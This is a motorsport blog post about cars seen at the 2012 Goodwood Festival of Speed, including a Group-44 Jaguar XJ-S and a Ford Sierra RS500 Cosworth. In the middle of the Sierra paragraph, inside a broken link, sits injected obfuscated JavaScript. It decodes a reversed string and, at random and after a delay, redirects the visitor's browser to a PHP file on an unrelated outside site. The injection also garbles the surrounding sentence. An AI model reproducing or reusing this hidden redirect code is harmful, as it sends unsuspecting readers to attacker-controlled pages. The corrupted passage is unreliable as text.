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The 2012 Goodwood Festival of Speed is underway. And crankandpiston is all over it! In fact, we’ve already sent our own Phil McGovern for a scout around.
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Well, I say ‘sent ‘ him. It has in fact been all he’s been talking about for the past few weeks. Then again, when we consider what’s he’s already stumbled across, it’s not hard to see why.
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Take the Quaker State/Group-44 Jaguar XJ-S, for example. Something of a shock success story when it made it’s foray onto the American Trans-Am scene in the late-1970s, the race-spec XJ-S housed a weighty 5.3l V12 under the bonnet, propelled its way to 290kph if given the proper right-foot abuse courtesy of its 475hp (and later 570hp). It wasn’t long before the Jag made a name for itself on The Canonball Run, most notably in 1979 when it demolished the opposition.
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Then there’s the almighty Ford Sierra RS500 Cosworth, a turbocharged legend on the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/btcc-brands-hatch-round-1/” target=”_blank”>British Touring Car Championship Group A scene throughout the late-1980s: so dominant was the Ford in 1988, that the car failed to win only three of the season’s twelve Group A races. Remarkably though, owing to the nature of the points system across the groups, the RS500 would win only one outright championship in 1990 with Rob Gravett.
